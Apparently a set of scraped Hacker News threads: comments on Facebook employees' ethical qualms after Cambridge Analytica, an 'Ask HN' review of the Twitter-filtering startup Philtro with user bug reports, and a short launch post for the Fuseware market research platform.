[https://www.nytimes.com/2018/02/12/business/computer- science...](https://www.nytimes.com/2018/02/12/business/computer-science- ethics-courses.html)

These are the Stanford profs mentioned in the article:

[https://politicalscience.stanford.edu/people/rob- reich](https://politicalscience.stanford.edu/people/rob-reich)

[https://cddrl.fsi.stanford.edu/people/jeremy_m_weinstein](https://cddrl.fsi.stanford.edu/people/jeremy_m_weinstein)

<comment><USER42> Thanks! This is a really helpful list of resources.

</comment></comment></comment><comment><USER44> So now, FB employees all of a sudden have 'ethical concerns' over their job and what they were building. Let's be real - Facebook (the product) has always had the goal of collecting as much data from users as possible, and displaying as many relevant ads to users as possible from data that users provide. The product, throughout all these years have been tailored and designed to do just that.

Facebook isn't a billion dollar business like it is today because they take steps in protecting your data and ensuring transparency and not selling out to advertisers. Transferring to Instagram or Whatsapp isn't going to absolve you of ethical issues if the leadership is the same. It'll be a matter of time before FB finds a way to monetize all the messages you send via Whatsapp

</comment><comment><USER45> Ethics are only important to the workforce when the company is shows to have bad ethics, thus just having the company on your C.V. makes it look bad.

I saw the same things at school, studying for forensic IT. Whole classes of people who think they learned to be an ethical person. The thing is, sure they makke ethical decisions at times. But in a pinch they might not consider ethics as much. Like when they really need a job. I myself don't consider myself to be the most ethical, but my morals are strong... don't do evil!

Knowing what is evil and not evil, is a big part of doing the right thing, can't expect the whole workforce to know where the line is or that there is a line.

</comment><comment><USER46> This article is arguably fake news. To support their claim they cite a few tweets and one line from a NYTimes article which is barely related. I love Hacker News but lately this place has had a bit of a singular focus... It seems to me that the ban on politics should perhaps be extended to a softban on Facebook news.

[https://www.wsj.com/articles/for-facebooks-employees- crisis-...](https://www.wsj.com/articles/for-facebooks-employees-crisis-is-no- big-deal-1523314648?mod=e2fb) has actual sources, and comes to the opposite conclusion.

</comment><comment><USER47> The real way to tell if there is a substantial number of employees and potential employees who feel this way is looking at Facebook compensation vs similar companies. If they have to offer more money for similar work then that means that there are a substantial number of people who don't want to work for them. If they are offering similar money, then that means that the people who don't want to work for Facebook are not a significant number of people.

The compensation will tell the real story apart from all the publicity and attempts at spin.

<comment><USER48> There are other reasons to compensate highly. Adam Smith gives five factors in his discussion of wages in _Wealth of Nations_.

Price is a very thin signal, and deriving inferrences from it fraught.

</comment></comment><comment><USER49> This is probably FB people sitting on a few million bucks who have stayed due to inertia. Now being at FB looks icky to their friends and they have enough $ to say fuck it.

</comment><comment><USER50> This is surprising given the recent articles on leaking inside of Facebook, and the response from other employees that such behavior lacks "integrity".

</comment><comment><USER51> As a problem solver, Facebook looks very attractive to me right now. Imagine the shit they're going through right now. Not just damage mitigation but they probably need to revamp their business strategy which will turn in to serious engineering work.

</comment><comment><USER52> when they started working on "engagement" they never called it "addiction"

that alone is a sign of a deeply unethical company

</comment><comment><USER53> c'mon wasn't it super obvious that they are doing that stuff already for years, the whole Cambridge Analytica isn't that suprising imho it's like starting at Uber now and think they're just a "normal" company...

</comment><comment><USER22> [https://www.nytimes.com/2017/08/30/us/politics/eric- schmidt-...](https://www.nytimes.com/2017/08/30/us/politics/eric-schmidt- google-new-america.html) I wonder if this contributed to Eric Schmidt leaving.

</comment><comment><USER54> > As it became evident that Facebook's core product might be to blame, > engineers working on it reportedly found it increasingly difficult to stand > by what it built.

What are they referring to here? That the code base has gotten unwieldy and has become hard to change?

</comment><comment><USER55> Maybe this will increase my chances of getting a job at Facebook.

</comment><comment><USER56> Depends on how many. Hard to believe material.

</comment><comment><USER57> Can we stop feeding these accounts? The submitter is a new account whose submissions are mainly facebook articles. It's not contributing anything useful to HN. Why is this account posting so many FB related articles? Do they have some other motive that HN is falling for?

At this point I feel like HN has turned into a FB news dump since it makes the people who "quit facebook and never looked back" feel good. Where are the quality submissions?

<comment><USER58> > At this point I feel like HN has turned into a FB news dump

Zuckerberg is testifying to congress right now. That's the news. You're not mad at HN, you're mad at the present.

</comment></comment><comment><USER59> What an incredibly first-world problem to have... Actually, it's worse than that. It's a top 1% of the first world problem. Most companies, in the broader world, are unethical, and do shady shit on a regular basis, but most rank-and- file people aren't lucky enough to have been making the kind of salary Facebookers can, nor do they have in-demand skills that let them hit the ground running if they decide they don't like it for merely ethical, rather than existential, reasons.

<comment><USER60> I am not sure what you mean by that, because other jobs suck you shouldn't have any entegrity?</comment></comment>


Ask HN: Review our startup, Philtro - <AUTHOR>

http://www.philtro.com
We're a small bootstrapped team based in DC, SF and Ottawa who've built a semantic filtering system for Twitter. (Read: Philtro is a spam filter for Twitter) The concept is that you rate tweets with a thumb up/down action, we learn pretty quickly and immediately start filtering out the irrelevant stuff from your incoming twitter stream.
We're in private beta but HN folks can use this link to get immediate access: http://www.philtro.com/openinvite/351
Thanks in advance!
Paul <comment><USER2> Are you doing some strange caching?

I get a 'Thank you, invitation sent.' when I first hit the page.

</comment><comment><USER3> A couple bugs: \- The signup screen showed two forms, and showed the error form when I filled and submitted via the top form. \- The slider hid all tweets and wouldn't show them regardless of position of tweets and the category navigation

A couple thoughts: \- This may work better as a client versus a stand-alone site. \- It would be nice to know when it starts filtering, and when you are training it. A simple "Great, now we can help you find more of what you like" or "We have filtered your tweets for you" would be great.

<comment><AUTHOR> Great feedback on the bugs -- thanks, we'll start looking a little deeper.

re: client -- yes, we're talking about integrating Philtro into some existing desktop clients via our private API. No promises yet but it's something that we think makes sense for everyone.

re: "training mode" -- absolutely, we'll put some thought into how to integrate that into the UI.

</comment></comment><comment><USER4> Just a small bug; as soon as I load the site it says "Logout successful!" even though I haven't interacted with the site yet.

<comment><USER5> Probably the same bug. It says "Thank you, invitation sent." on the home page.

</comment></comment><comment><USER6> Any current business model on how to make money?

<comment><AUTHOR> We've got a couple of ideas on how we can make money. We'll be running a few experiments over the next few weeks to see what works, etc.

</comment></comment><comment><USER7> > We're a small bootstrapped team

Are you bootstrapped, or merely self-funded-so-far?

<comment><AUTHOR> Isn't bootstrapping and self-funding synonymous?

We haven't taken any outside money and have been working on this since the beginning of January. I'm on this full time and have been paying the other two from personal funds.

<comment><USER8> I guess he's wondering whether your business plan involves taking funding, or whether you're going to make it entirely on your own.

<comment><AUTHOR> Ah, you're right.

We've been talking to a bunch of different angels and VCs over the past few weeks but haven't taken it much further than that (yet).

We've got a couple of ideas on how we can start pulling in some revenue on our own but the starting point for that will be a (relatively) solid product UI that improves Twitter's signal-to-noise ratio.

That being said, I'd seriously consider taking on some outside money if it comes with some _smart_ folks that can help us improve the product and introduce us to their friends. :)</comment></comment></comment></comment>


Introducing a novel online market research platform - Fuseware Social Insights - <AUTHOR> http://www.fuseware.net/introducing-fuseware-social-insights/

<comment><AUTHOR> It is essentially a self-administered online platform that helps companies and agencies perform market research in real-time. You can enter any keywords of your choice (for example, a brand name or product, or even a market such as "cape town" or "gothic shirts"), and our platform scours the web to bring back researched results about those keywords.</comment>